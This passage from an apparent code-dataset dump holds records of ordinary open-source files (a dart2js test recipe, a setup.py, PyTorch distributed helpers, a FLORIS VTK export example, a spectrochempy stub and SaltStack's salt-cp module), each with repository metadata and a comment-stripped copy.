[{ 'name': 'dart2js-with-kernel-d8 tests', 'tests': ['language', 'corelib', 'dart2js_extra', 'dart2js_native'] }] RunTests(api, kernel_test_args, kernel_test_specs, use_xvfb=needs_xvfb) test_args.append('--fast-startup') for spec in test_specs: spec['name'] = spec['name'].replace(' tests', '-fast-startup tests') RunTests(api, test_args, test_specs, use_xvfb=needs_xvfb) if runtime in ['d8', 'drt']: test_args.append('--checked') for spec in test_specs: spec['name'] = spec['name'].replace(' tests', '-checked tests') RunTests(api, test_args, test_specs, use_xvfb=needs_xvfb) with api.context(cwd=api.path['checkout']): # TODO(whesse): Add archive coredumps step from dart_factory.py. api.python('taskkill after testing', api.path['checkout'].join('tools', 'task_kill.py'), args=['--kill_browsers=True'], ok_ret='any') if api.platform.name == 'win': api.step('debug log', ['cmd.exe', '/c', 'type', '.debug.log']) else: api.step('debug log', ['cat', '.debug.log']) def GenTests(api): yield ( api.test('dart2js-linux-jsshell-hostchecked-csp-3-5-be') + api.platform('linux', 64) + api.properties.generic( mastername='client.dart', buildername='dart2js-linux-jsshell-hostchecked-csp-3-5-be', revision='hash_of_revision')) yield ( api.test('dart2js-win7-ie10-dev') + api.platform('win', 32) + api.properties.generic( mastername='client.dart', buildername='dart2js-win7-ie10-dev', revision='hash_of_revision')) yield ( api.test('dart2js-linux-drt-be') + api.platform('linux', 64) + api.properties.generic( mastername='client.dart', buildername='dart2js-linux-drt-93-105-dev', revision='hash_of_revision')) yield ( api.test('dart2js-linux-d8-be') + api.platform('linux', 64) + api.properties.generic( mastername='client.dart', buildername='dart2js-linux-d8-1-4-be', revision='hash_of_revision')) yield ( api.test('dart2js-mac10.11-safari-1-3-be') + api.platform('mac', 64) + api.properties.generic( mastername='client.dart', buildername='dart2js-mac10.11-safari-1-3-be', revision='hash_of_revision'))
37.353712
79
0.58347
DEPS = [ 'depot_tools/bot_update', 'depot_tools/gclient', 'file', 'depot_tools/gsutil', 'recipe_engine/context', 'recipe_engine/path', 'recipe_engine/platform', 'recipe_engine/properties', 'recipe_engine/python', 'recipe_engine/step', 'test_utils', 'zip', ] all_runtimes = ['d8', 'jsshell', 'ie9', 'ie10', 'ie11', 'ff', 'safari', 'chrome', 'safarimobilesim', 'drt', 'chromeff', 'ie10chrome', 'ie11ff'] multiple_runtimes = {'chromeff': ['chrome', 'ff'], 'ie10chrome': ['ie10', 'chrome'], 'ie11ff': ['ie11', 'ff']} all_options = {'hostchecked': '--host-checked', 'minified': '--minified', 'cps': '--cps-ir', 'csp': '--csp'} build_directories = {'linux': 'out/ReleaseX64', 'win': 'out/ReleaseX64', 'mac': 'xcodebuild/ReleaseX64'} IsFirstTestStep = True def RunTests(api, test_args, test_specs, use_xvfb=False): for test_spec in test_specs: args = [] args.extend(test_args) global IsFirstTestStep if IsFirstTestStep: IsFirstTestStep = False else: args.append('--append_logs') args.extend(test_spec['tests']) with api.context(cwd=api.path['checkout']): if use_xvfb: xvfb_cmd = ['xvfb-run', '-a', '--server-args=-screen 0 1024x768x24'] xvfb_cmd.extend(['python', '-u', './tools/test.py']) xvfb_cmd.extend(args) api.step(test_spec['name'], xvfb_cmd) else: api.python(test_spec['name'], api.path['checkout'].join('tools', 'test.py'), args=args) def sdk_url(channel, platform, arch, mode, revision): platforms = { 'linux': 'linux', 'win': 'windows', 'mac': 'macos', } platform = platforms[platform] return ('gs://dart-archive/channels/%s/raw/hash/%s/sdk/dartsdk-%s-%s-%s.zip' % (channel, revision, platform, arch, mode)) def RunSteps(api): builder_name = str(api.properties.get('buildername')) builder_fragments = builder_name.split('-') assert len(builder_fragments) > 3 assert builder_fragments[0] == 'dart2js' system = builder_fragments[1] assert system in ['linux', 'mac10.11', 'win7', 'win8', 'win10'] runtime = builder_fragments[2] assert runtime in all_runtimes channel = builder_fragments[-1] assert channel in ['be', 'dev', 'stable', 'integration'] try: num_shards = int(builder_fragments[-2]) shard = int(builder_fragments[-3]) sharded = True options_end = - 3 except ValueError: sharded = False options_end = - 1 options = builder_fragments[3:options_end] for option in options: assert all_options.has_key(option) api.gclient.set_config('dart') api.path.c.dynamic_paths['tools'] = None api.bot_update.ensure_checkout() api.path['tools'] = api.path['checkout'].join('tools') revision = api.properties['revision'] api.gclient.runhooks() with api.step.defer_results(): with api.context(cwd=api.path['checkout']): api.python('taskkill before building', api.path['checkout'].join('tools', 'task_kill.py'), args=['--kill_browsers=True'], ok_ret='any') zipfile = api.path.abspath(api.path['checkout'].join('sdk.zip')) url = sdk_url(channel, api.platform.name, 'x64', 'release', revision) api.gsutil(['cp', url, zipfile], name='Download sdk') build_dir = api.path['checkout'].join(build_directories[api.platform.name]) build_dir = api.path.abspath(build_dir) api.file.makedirs('Create build directory', build_dir) api.file.rmtree('Clean build directory', build_dir) api.zip.unzip('Unzip sdk', zipfile, build_dir) with api.step.defer_results(): runtimes = multiple_runtimes.get(runtime, [runtime]) for runtime in runtimes: test_args = ['--mode=release', '--arch=x64', '--use-sdk', '--compiler=dart2js', '--dart2js-batch', '--runtime=%s' % runtime, '--progress=buildbot', '-v', '--reset-browser-configuration', '--report', '--time', '--write-debug-log', '--write-test-outcome-log'] for option in options: test_args.append(all_options[option]) if sharded: test_args.extend(['--shards=%s' % num_shards, '--shard=%s' % shard]) if system in ['win7', 'win8', 'win10']: test_args.append('--builder-tag=%s' % system) if runtime in ['ie10', 'ie11']: test_args.extend(['-j6', '--timeout=120']) test_specs = [{'name': 'dart2js %s tests' % runtime, 'tests': ['html', 'pkg', 'samples']}, {'name': 'dart2js %s co19 tests' % runtime, 'tests': ['co19']}] else: test_specs = [ {'name': 'dart2js-%s tests' % runtime, 'tests': ['--exclude-suite=observatory_ui,co19']}, {'name': 'dart2js-%s-package tests' % runtime, 'tests': ['pkg']}, {'name': 'dart2js-%s-observatory_ui tests' % runtime, 'tests': ['observatory_ui']}, {'name': 'dart2js-%s-extra tests' % runtime, 'tests': ['dart2js_extra', 'dart2js_native']}, {'name': 'dart2js-%s-co19 tests' % runtime, 'tests': ['co19']}, ] needs_xvfb = (runtime in ['drt', 'dartium', 'chrome', 'ff'] and system == 'linux') RunTests(api, test_args, test_specs, use_xvfb=needs_xvfb) if runtime == 'd8': kernel_test_args = test_args + ['--dart2js-with-kernel'] kernel_test_specs = [{ 'name': 'dart2js-with-kernel-d8 tests', 'tests': ['language', 'corelib', 'dart2js_extra', 'dart2js_native'] }] RunTests(api, kernel_test_args, kernel_test_specs, use_xvfb=needs_xvfb) test_args.append('--fast-startup') for spec in test_specs: spec['name'] = spec['name'].replace(' tests', '-fast-startup tests') RunTests(api, test_args, test_specs, use_xvfb=needs_xvfb) if runtime in ['d8', 'drt']: test_args.append('--checked') for spec in test_specs: spec['name'] = spec['name'].replace(' tests', '-checked tests') RunTests(api, test_args, test_specs, use_xvfb=needs_xvfb) with api.context(cwd=api.path['checkout']): api.python('taskkill after testing', api.path['checkout'].join('tools', 'task_kill.py'), args=['--kill_browsers=True'], ok_ret='any') if api.platform.name == 'win': api.step('debug log', ['cmd.exe', '/c', 'type', '.debug.log']) else: api.step('debug log', ['cat', '.debug.log']) def GenTests(api): yield ( api.test('dart2js-linux-jsshell-hostchecked-csp-3-5-be') + api.platform('linux', 64) + api.properties.generic( mastername='client.dart', buildername='dart2js-linux-jsshell-hostchecked-csp-3-5-be', revision='hash_of_revision')) yield ( api.test('dart2js-win7-ie10-dev') + api.platform('win', 32) + api.properties.generic( mastername='client.dart', buildername='dart2js-win7-ie10-dev', revision='hash_of_revision')) yield ( api.test('dart2js-linux-drt-be') + api.platform('linux', 64) + api.properties.generic( mastername='client.dart', buildername='dart2js-linux-drt-93-105-dev', revision='hash_of_revision')) yield ( api.test('dart2js-linux-d8-be') + api.platform('linux', 64) + api.properties.generic( mastername='client.dart', buildername='dart2js-linux-d8-1-4-be', revision='hash_of_revision')) yield ( api.test('dart2js-mac10.11-safari-1-3-be') + api.platform('mac', 64) + api.properties.generic( mastername='client.dart', buildername='dart2js-mac10.11-safari-1-3-be', revision='hash_of_revision'))
true
true
f71f08034890f90569427564d97d80b2faa70404
339
py
Python
setup.py
afansky/btce-bot
976474a42de0651d00f435b6db7c8f2c15352f62
[ "MIT" ]
null
null
null
setup.py
afansky/btce-bot
976474a42de0651d00f435b6db7c8f2c15352f62
[ "MIT" ]
null
null
null
setup.py
afansky/btce-bot
976474a42de0651d00f435b6db7c8f2c15352f62
[ "MIT" ]
null
null
null
#!/usr/bin/env python from distutils.core import setup setup(name='btce-bot', version='0.3', description='A framework for building trading bots for BTC-e.com.', author='Alan McIntyre', author_email='alan.mcintyre@gmail.com', url='https://github.com/alanmcintyre/btce-bot', packages=['btcebot'], )
28.25
73
0.654867
from distutils.core import setup setup(name='btce-bot', version='0.3', description='A framework for building trading bots for BTC-e.com.', author='Alan McIntyre', author_email='alan.mcintyre@gmail.com', url='https://github.com/alanmcintyre/btce-bot', packages=['btcebot'], )
true
true
f71f083705a2de8c8bb69ce11b3257c5a85d6917
7,108
py
Python
lib/distributed_utils.py
TB5zhh/ViewpointBottleneck
db0fe4b61ae42eceff21296844200d636e6e5e83
[ "MIT" ]
244
2020-11-09T02:45:20.000Z
2022-03-24T18:49:18.000Z
lib/distributed_utils.py
TB5zhh/ViewpointBottleneck
db0fe4b61ae42eceff21296844200d636e6e5e83
[ "MIT" ]
27
2020-11-20T13:19:36.000Z
2022-03-10T08:52:12.000Z
lib/distributed_utils.py
TB5zhh/ViewpointBottleneck
db0fe4b61ae42eceff21296844200d636e6e5e83
[ "MIT" ]
33
2020-11-09T07:55:06.000Z
2022-03-26T06:18:12.000Z
# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import os import pickle import socket import struct import subprocess import warnings import torch import torch.distributed as dist def is_master(args): return args.distributed_rank == 0 def infer_init_method(args): if args.distributed_init_method is not None: return # support torch.distributed.launch if all(key in os.environ for key in [ 'MASTER_ADDR', 'MASTER_PORT', 'WORLD_SIZE', 'RANK' ]): args.distributed_init_method = 'env://' args.distributed_world_size = int(os.environ['WORLD_SIZE']) args.distributed_rank = int(os.environ['RANK']) # we can determine the init method automatically for Slurm elif args.distributed_port > 0: node_list = os.environ.get('SLURM_STEP_NODELIST') if node_list is None: node_list = os.environ.get('SLURM_JOB_NODELIST') if node_list is not None: try: hostnames = subprocess.check_output(['scontrol', 'show', 'hostnames', node_list]) args.distributed_init_method = 'tcp://{host}:{port}'.format( host=hostnames.split()[0].decode('utf-8'), port=args.distributed_port, ) nnodes = int(os.environ.get('SLURM_NNODES')) ntasks_per_node = os.environ.get('SLURM_NTASKS_PER_NODE') if ntasks_per_node is not None: ntasks_per_node = int(ntasks_per_node) else: ntasks = int(os.environ.get('SLURM_NTASKS')) nnodes = int(os.environ.get('SLURM_NNODES')) assert ntasks % nnodes == 0 ntasks_per_node = int(ntasks / nnodes) if ntasks_per_node == 1: assert args.distributed_world_size % nnodes == 0 gpus_per_node = args.distributed_world_size // nnodes node_id = int(os.environ.get('SLURM_NODEID')) args.distributed_rank = node_id * gpus_per_node else: assert ntasks_per_node == args.distributed_world_size // nnodes args.distributed_no_spawn = True args.distributed_rank = int(os.environ.get('SLURM_PROCID')) args.device_id = int(os.environ.get('SLURM_LOCALID')) except subprocess.CalledProcessError as e: # scontrol failed raise e except FileNotFoundError: # Slurm is not installed pass def distributed_init(args): if args.distributed_world_size == 1: raise ValueError('Cannot initialize distributed with distributed_world_size=1') if torch.distributed.is_initialized(): warnings.warn('Distributed is already initialized, cannot initialize twice!') else: print('| distributed init (rank {}): {}'.format( args.distributed_rank, args.distributed_init_method), flush=True) dist.init_process_group( backend=args.distributed_backend, init_method=args.distributed_init_method, world_size=args.distributed_world_size, rank=args.distributed_rank, ) print('| initialized host {} as rank {}'.format( socket.gethostname(), args.distributed_rank), flush=True) # perform a dummy all-reduce to initialize the NCCL communicator if torch.cuda.is_available(): dist.all_reduce(torch.zeros(1).cuda()) else: dist.all_reduce(torch.zeros(1)) suppress_output(is_master(args)) args.distributed_rank = torch.distributed.get_rank() return args.distributed_rank def suppress_output(is_master): """Suppress printing on the current device. Force printing with `force=True`.""" import builtins as __builtin__ builtin_print = __builtin__.print def print(*args, **kwargs): force = kwargs.pop('force', False) if is_master or force: builtin_print(*args, **kwargs) __builtin__.print = print def get_rank(): return dist.get_rank() def get_world_size(): try: return dist.get_world_size() except AssertionError: return 1 def get_default_group(): return dist.group.WORLD def all_reduce(tensor, op='sum', group=None): if group is None: group = get_default_group() output = dist.all_reduce(tensor, group=group) if op == 'mean': return output / get_world_size() return output def all_gather_list(data, group=None, max_size=16384): """Gathers arbitrary data from all nodes into a list. Similar to :func:`~torch.distributed.all_gather` but for arbitrary Python data. Note that *data* must be picklable. Args: data (Any): data from the local worker to be gathered on other workers group (optional): group of the collective max_size (int, optional): maximum size of the data to be gathered across workers """ rank = get_rank() world_size = get_world_size() buffer_size = max_size * world_size if not hasattr(all_gather_list, '_buffer') or \ all_gather_list._buffer.numel() < buffer_size: all_gather_list._buffer = torch.cuda.ByteTensor(buffer_size) all_gather_list._cpu_buffer = torch.ByteTensor(max_size).pin_memory() buffer = all_gather_list._buffer buffer.zero_() cpu_buffer = all_gather_list._cpu_buffer enc = pickle.dumps(data) enc_size = len(enc) header_size = 4 # size of header that contains the length of the encoded data size = header_size + enc_size if size > max_size: raise ValueError('encoded data size ({}) exceeds max_size ({})'.format(size, max_size)) header = struct.pack(">I", enc_size) cpu_buffer[:size] = torch.ByteTensor(list(header + enc)) start = rank * max_size buffer[start:start + size].copy_(cpu_buffer[:size]) all_reduce(buffer, group=group) try: result = [] for i in range(world_size): out_buffer = buffer[i * max_size:(i + 1) * max_size] enc_size, = struct.unpack(">I", bytes(out_buffer[:header_size].tolist())) if enc_size > 0: result.append(pickle.loads(bytes(out_buffer[header_size:header_size + enc_size].tolist()))) return result except pickle.UnpicklingError: raise Exception( 'Unable to unpickle data from other workers. all_gather_list requires all ' 'workers to enter the function together, so this error usually indicates ' 'that the workers have fallen out of sync somehow. Workers can fall out of ' 'sync if one of them runs out of memory, or if there are other conditions ' 'in your training script that can cause one worker to finish an epoch ' 'while other workers are still iterating over their portions of the data.' )
37.21466
107
0.638436
import os import pickle import socket import struct import subprocess import warnings import torch import torch.distributed as dist def is_master(args): return args.distributed_rank == 0 def infer_init_method(args): if args.distributed_init_method is not None: return if all(key in os.environ for key in [ 'MASTER_ADDR', 'MASTER_PORT', 'WORLD_SIZE', 'RANK' ]): args.distributed_init_method = 'env://' args.distributed_world_size = int(os.environ['WORLD_SIZE']) args.distributed_rank = int(os.environ['RANK']) elif args.distributed_port > 0: node_list = os.environ.get('SLURM_STEP_NODELIST') if node_list is None: node_list = os.environ.get('SLURM_JOB_NODELIST') if node_list is not None: try: hostnames = subprocess.check_output(['scontrol', 'show', 'hostnames', node_list]) args.distributed_init_method = 'tcp://{host}:{port}'.format( host=hostnames.split()[0].decode('utf-8'), port=args.distributed_port, ) nnodes = int(os.environ.get('SLURM_NNODES')) ntasks_per_node = os.environ.get('SLURM_NTASKS_PER_NODE') if ntasks_per_node is not None: ntasks_per_node = int(ntasks_per_node) else: ntasks = int(os.environ.get('SLURM_NTASKS')) nnodes = int(os.environ.get('SLURM_NNODES')) assert ntasks % nnodes == 0 ntasks_per_node = int(ntasks / nnodes) if ntasks_per_node == 1: assert args.distributed_world_size % nnodes == 0 gpus_per_node = args.distributed_world_size // nnodes node_id = int(os.environ.get('SLURM_NODEID')) args.distributed_rank = node_id * gpus_per_node else: assert ntasks_per_node == args.distributed_world_size // nnodes args.distributed_no_spawn = True args.distributed_rank = int(os.environ.get('SLURM_PROCID')) args.device_id = int(os.environ.get('SLURM_LOCALID')) except subprocess.CalledProcessError as e: raise e except FileNotFoundError: pass def distributed_init(args): if args.distributed_world_size == 1: raise ValueError('Cannot initialize distributed with distributed_world_size=1') if torch.distributed.is_initialized(): warnings.warn('Distributed is already initialized, cannot initialize twice!') else: print('| distributed init (rank {}): {}'.format( args.distributed_rank, args.distributed_init_method), flush=True) dist.init_process_group( backend=args.distributed_backend, init_method=args.distributed_init_method, world_size=args.distributed_world_size, rank=args.distributed_rank, ) print('| initialized host {} as rank {}'.format( socket.gethostname(), args.distributed_rank), flush=True) if torch.cuda.is_available(): dist.all_reduce(torch.zeros(1).cuda()) else: dist.all_reduce(torch.zeros(1)) suppress_output(is_master(args)) args.distributed_rank = torch.distributed.get_rank() return args.distributed_rank def suppress_output(is_master): import builtins as __builtin__ builtin_print = __builtin__.print def print(*args, **kwargs): force = kwargs.pop('force', False) if is_master or force: builtin_print(*args, **kwargs) __builtin__.print = print def get_rank(): return dist.get_rank() def get_world_size(): try: return dist.get_world_size() except AssertionError: return 1 def get_default_group(): return dist.group.WORLD def all_reduce(tensor, op='sum', group=None): if group is None: group = get_default_group() output = dist.all_reduce(tensor, group=group) if op == 'mean': return output / get_world_size() return output def all_gather_list(data, group=None, max_size=16384): rank = get_rank() world_size = get_world_size() buffer_size = max_size * world_size if not hasattr(all_gather_list, '_buffer') or \ all_gather_list._buffer.numel() < buffer_size: all_gather_list._buffer = torch.cuda.ByteTensor(buffer_size) all_gather_list._cpu_buffer = torch.ByteTensor(max_size).pin_memory() buffer = all_gather_list._buffer buffer.zero_() cpu_buffer = all_gather_list._cpu_buffer enc = pickle.dumps(data) enc_size = len(enc) header_size = 4 size = header_size + enc_size if size > max_size: raise ValueError('encoded data size ({}) exceeds max_size ({})'.format(size, max_size)) header = struct.pack(">I", enc_size) cpu_buffer[:size] = torch.ByteTensor(list(header + enc)) start = rank * max_size buffer[start:start + size].copy_(cpu_buffer[:size]) all_reduce(buffer, group=group) try: result = [] for i in range(world_size): out_buffer = buffer[i * max_size:(i + 1) * max_size] enc_size, = struct.unpack(">I", bytes(out_buffer[:header_size].tolist())) if enc_size > 0: result.append(pickle.loads(bytes(out_buffer[header_size:header_size + enc_size].tolist()))) return result except pickle.UnpicklingError: raise Exception( 'Unable to unpickle data from other workers. all_gather_list requires all ' 'workers to enter the function together, so this error usually indicates ' 'that the workers have fallen out of sync somehow. Workers can fall out of ' 'sync if one of them runs out of memory, or if there are other conditions ' 'in your training script that can cause one worker to finish an epoch ' 'while other workers are still iterating over their portions of the data.' )
true
true
f71f089fb2941cb1a4ebbf5163178e3ab237ecd2
938
py
Python
examples/flow_interaction/flow_data_to_vtk.py
eirikur16/flrs
c98604593753def05086b54ce82f5551f01d2529
[ "Apache-2.0" ]
1
2021-04-20T03:21:34.000Z
2021-04-20T03:21:34.000Z
examples/flow_interaction/flow_data_to_vtk.py
eirikur16/flrs
c98604593753def05086b54ce82f5551f01d2529
[ "Apache-2.0" ]
3
2020-01-27T23:41:56.000Z
2020-03-07T04:12:23.000Z
examples/flow_interaction/flow_data_to_vtk.py
eirikur16/flrs
c98604593753def05086b54ce82f5551f01d2529
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 NREL # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. # See https://floris.readthedocs.io for documentation # Demonstrate extracting the flow field to vtk import floris.tools as wfct # Initialize the FLORIS interface fi fi = wfct.floris_interface.FlorisInterface("../example_input.json") # Calculate wake fi.calculate_wake() # Get the flow data and save to vtk flow_data = fi.get_flow_data() flow_data.save_as_vtk("flow.vtk")
31.266667
79
0.775053
import floris.tools as wfct fi = wfct.floris_interface.FlorisInterface("../example_input.json") fi.calculate_wake() flow_data = fi.get_flow_data() flow_data.save_as_vtk("flow.vtk")
true
true
f71f08cdf9fcc8d348fb81bf95869f81920304bf
762
py
Python
spectrochempy/core/readers/api.py
dcambie/spectrochempy
e376082d66be7a4c528b7d83be076d77534e39bd
[ "CECILL-B" ]
3
2021-04-09T09:13:21.000Z
2022-01-09T00:05:42.000Z
spectrochempy/core/readers/api.py
fernandezc/spectrochempy
4707c51dba0032c160afc40682fa16d4b9855ded
[ "CECILL-B" ]
null
null
null
spectrochempy/core/readers/api.py
fernandezc/spectrochempy
4707c51dba0032c160afc40682fa16d4b9855ded
[ "CECILL-B" ]
null
null
null
# -*- coding: utf-8 -*- # ====================================================================================================================== # Copyright (©) 2015-2021 LCS - Laboratoire Catalyse et Spectrochimie, Caen, France. = # CeCILL-B FREE SOFTWARE LICENSE AGREEMENT - See full LICENSE agreement in the root directory = # ====================================================================================================================== from spectrochempy.utils import generate_api # generate api __all__ = generate_api(__file__) # ====================================================================================================================== if __name__ == '__main__': pass
47.625
120
0.328084
from spectrochempy.utils import generate_api __all__ = generate_api(__file__) if __name__ == '__main__': pass
true
true
f71f098d2009d8c51769c68ec91c230e6fd290b1
9,535
py
Python
salt/cli/cp.py
Noah-Huppert/salt
998c382f5f2c3b4cbf7d96aa6913ada6993909b3
[ "Apache-2.0" ]
19
2016-01-29T14:37:52.000Z
2022-03-30T18:08:01.000Z
salt/cli/cp.py
Noah-Huppert/salt
998c382f5f2c3b4cbf7d96aa6913ada6993909b3
[ "Apache-2.0" ]
223
2016-03-02T16:39:41.000Z
2022-03-03T12:26:35.000Z
salt/cli/cp.py
Noah-Huppert/salt
998c382f5f2c3b4cbf7d96aa6913ada6993909b3
[ "Apache-2.0" ]
64
2016-02-04T19:45:26.000Z
2021-12-15T02:02:31.000Z
# -*- coding: utf-8 -*- """ The cp module is used to execute the logic used by the salt-cp command line application, salt-cp is NOT intended to broadcast large files, it is intended to handle text files. Salt-cp can be used to distribute configuration files """ # Import python libs from __future__ import absolute_import, print_function, unicode_literals import base64 import errno import logging import os import re import sys # Import salt libs import salt.client import salt.output import salt.utils.files import salt.utils.gzip_util import salt.utils.itertools import salt.utils.minions import salt.utils.parsers import salt.utils.platform import salt.utils.stringutils import salt.utils.verify # Import 3rd party libs from salt.ext import six log = logging.getLogger(__name__) class SaltCPCli(salt.utils.parsers.SaltCPOptionParser): """ Run the salt-cp command line client """ def run(self): """ Execute salt-cp """ self.parse_args() # Setup file logging! self.setup_logfile_logger() salt.utils.verify.verify_log(self.config) cp_ = SaltCP(self.config) cp_.run() class SaltCP(object): """ Create a salt cp object, used to distribute simple files with salt """ def __init__(self, opts): self.opts = opts self.is_windows = salt.utils.platform.is_windows() def _mode(self, path): if self.is_windows: return None try: return int(oct(os.stat(path).st_mode)[-4:], 8) except (TypeError, IndexError, ValueError): return None def _recurse(self, path): """ Get a list of all specified files """ files = {} empty_dirs = [] try: sub_paths = os.listdir(path) except OSError as exc: if exc.errno == errno.ENOENT: # Path does not exist sys.stderr.write("{0} does not exist\n".format(path)) sys.exit(42) elif exc.errno in (errno.EINVAL, errno.ENOTDIR): # Path is a file (EINVAL on Windows, ENOTDIR otherwise) files[path] = self._mode(path) else: if not sub_paths: empty_dirs.append(path) for fn_ in sub_paths: files_, empty_dirs_ = self._recurse(os.path.join(path, fn_)) files.update(files_) empty_dirs.extend(empty_dirs_) return files, empty_dirs def _list_files(self): files = {} empty_dirs = set() for fn_ in self.opts["src"]: files_, empty_dirs_ = self._recurse(fn_) files.update(files_) empty_dirs.update(empty_dirs_) return files, sorted(empty_dirs) def _file_dict(self, fn_): """ Take a path and return the contents of the file as a string """ if not os.path.isfile(fn_): err = "The referenced file, {0} is not available.".format(fn_) sys.stderr.write(err + "\n") sys.exit(42) with salt.utils.files.fopen(fn_, "r") as fp_: data = fp_.read() return {fn_: data} def _load_files(self): """ Parse the files indicated in opts['src'] and load them into a python object for transport """ files = {} for fn_ in self.opts["src"]: if os.path.isfile(fn_): files.update(self._file_dict(fn_)) elif os.path.isdir(fn_): salt.utils.stringutils.print_cli( fn_ + " is a directory, only files are supported " 'in non-chunked mode. Use "--chunked" command ' "line argument." ) sys.exit(1) return files def run(self): """ Make the salt client call """ if self.opts["chunked"]: ret = self.run_chunked() else: ret = self.run_oldstyle() salt.output.display_output(ret, self.opts.get("output", "nested"), self.opts) def run_oldstyle(self): """ Make the salt client call in old-style all-in-one call method """ arg = [self._load_files(), self.opts["dest"]] local = salt.client.get_local_client(self.opts["conf_file"]) args = [ self.opts["tgt"], "cp.recv", arg, self.opts["timeout"], ] selected_target_option = self.opts.get("selected_target_option", None) if selected_target_option is not None: args.append(selected_target_option) return local.cmd(*args) def run_chunked(self): """ Make the salt client call in the new fasion chunked multi-call way """ files, empty_dirs = self._list_files() dest = self.opts["dest"] gzip = self.opts["gzip"] tgt = self.opts["tgt"] timeout = self.opts["timeout"] selected_target_option = self.opts.get("selected_target_option") dest_is_dir = ( bool(empty_dirs) or len(files) > 1 or bool(re.search(r"[\\/]$", dest)) ) reader = ( salt.utils.gzip_util.compress_file if gzip else salt.utils.itertools.read_file ) _res = salt.utils.minions.CkMinions(self.opts).check_minions( tgt, tgt_type=selected_target_option or "glob" ) minions = _res["minions"] local = salt.client.get_local_client(self.opts["conf_file"]) def _get_remote_path(fn_): if fn_ in self.opts["src"]: # This was a filename explicitly passed on the CLI return ( os.path.join(dest, os.path.basename(fn_)) if dest_is_dir else dest ) else: for path in self.opts["src"]: relpath = os.path.relpath(fn_, path + os.sep) if relpath.startswith(parent): # File is not within this dir continue return os.path.join(dest, os.path.basename(path), relpath) else: # pylint: disable=useless-else-on-loop # Should not happen log.error("Failed to find remote path for %s", fn_) return None ret = {} parent = ".." + os.sep for fn_, mode in six.iteritems(files): remote_path = _get_remote_path(fn_) index = 1 failed = {} for chunk in reader(fn_, chunk_size=self.opts["salt_cp_chunk_size"]): chunk = base64.b64encode(salt.utils.stringutils.to_bytes(chunk)) append = index > 1 log.debug( "Copying %s to %starget '%s' as %s%s", fn_, "{0} ".format(selected_target_option) if selected_target_option else "", tgt, remote_path, " (chunk #{0})".format(index) if append else "", ) args = [ tgt, "cp.recv_chunked", [remote_path, chunk, append, gzip, mode], timeout, ] if selected_target_option is not None: args.append(selected_target_option) result = local.cmd(*args) if not result: # Publish failed msg = ( "Publish failed.{0} It may be necessary to " "decrease salt_cp_chunk_size (current value: " "{1})".format( " File partially transferred." if index > 1 else "", self.opts["salt_cp_chunk_size"], ) ) for minion in minions: ret.setdefault(minion, {})[remote_path] = msg break for minion_id, minion_ret in six.iteritems(result): ret.setdefault(minion_id, {})[remote_path] = minion_ret # Catch first error message for a given minion, we will # rewrite the results after we're done iterating through # the chunks. if minion_ret is not True and minion_id not in failed: failed[minion_id] = minion_ret index += 1 for minion_id, msg in six.iteritems(failed): ret[minion_id][remote_path] = msg for dirname in empty_dirs: remote_path = _get_remote_path(dirname) log.debug( "Creating empty dir %s on %starget '%s'", dirname, "{0} ".format( selected_target_option ) # pylint: disable=str-format-in-logging if selected_target_option else "", tgt, ) args = [tgt, "cp.recv_chunked", [remote_path, None], timeout] if selected_target_option is not None: args.append(selected_target_option) for minion_id, minion_ret in six.iteritems(local.cmd(*args)): ret.setdefault(minion_id, {})[remote_path] = minion_ret return ret
32.65411
86
0.52753
from __future__ import absolute_import, print_function, unicode_literals import base64 import errno import logging import os import re import sys import salt.client import salt.output import salt.utils.files import salt.utils.gzip_util import salt.utils.itertools import salt.utils.minions import salt.utils.parsers import salt.utils.platform import salt.utils.stringutils import salt.utils.verify from salt.ext import six log = logging.getLogger(__name__) class SaltCPCli(salt.utils.parsers.SaltCPOptionParser): def run(self): self.parse_args() self.setup_logfile_logger() salt.utils.verify.verify_log(self.config) cp_ = SaltCP(self.config) cp_.run() class SaltCP(object): def __init__(self, opts): self.opts = opts self.is_windows = salt.utils.platform.is_windows() def _mode(self, path): if self.is_windows: return None try: return int(oct(os.stat(path).st_mode)[-4:], 8) except (TypeError, IndexError, ValueError): return None def _recurse(self, path): files = {} empty_dirs = [] try: sub_paths = os.listdir(path) except OSError as exc: if exc.errno == errno.ENOENT: sys.stderr.write("{0} does not exist\n".format(path)) sys.exit(42) elif exc.errno in (errno.EINVAL, errno.ENOTDIR): files[path] = self._mode(path) else: if not sub_paths: empty_dirs.append(path) for fn_ in sub_paths: files_, empty_dirs_ = self._recurse(os.path.join(path, fn_)) files.update(files_) empty_dirs.extend(empty_dirs_) return files, empty_dirs def _list_files(self): files = {} empty_dirs = set() for fn_ in self.opts["src"]: files_, empty_dirs_ = self._recurse(fn_) files.update(files_) empty_dirs.update(empty_dirs_) return files, sorted(empty_dirs) def _file_dict(self, fn_): if not os.path.isfile(fn_): err = "The referenced file, {0} is not available.".format(fn_) sys.stderr.write(err + "\n") sys.exit(42) with salt.utils.files.fopen(fn_, "r") as fp_: data = fp_.read() return {fn_: data} def _load_files(self): files = {} for fn_ in self.opts["src"]: if os.path.isfile(fn_): files.update(self._file_dict(fn_)) elif os.path.isdir(fn_): salt.utils.stringutils.print_cli( fn_ + " is a directory, only files are supported " 'in non-chunked mode. Use "--chunked" command ' "line argument." ) sys.exit(1) return files def run(self): if self.opts["chunked"]: ret = self.run_chunked() else: ret = self.run_oldstyle() salt.output.display_output(ret, self.opts.get("output", "nested"), self.opts) def run_oldstyle(self): arg = [self._load_files(), self.opts["dest"]] local = salt.client.get_local_client(self.opts["conf_file"]) args = [ self.opts["tgt"], "cp.recv", arg, self.opts["timeout"], ] selected_target_option = self.opts.get("selected_target_option", None) if selected_target_option is not None: args.append(selected_target_option) return local.cmd(*args) def run_chunked(self): files, empty_dirs = self._list_files() dest = self.opts["dest"] gzip = self.opts["gzip"] tgt = self.opts["tgt"] timeout = self.opts["timeout"] selected_target_option = self.opts.get("selected_target_option") dest_is_dir = ( bool(empty_dirs) or len(files) > 1 or bool(re.search(r"[\\/]$", dest)) ) reader = ( salt.utils.gzip_util.compress_file if gzip else salt.utils.itertools.read_file ) _res = 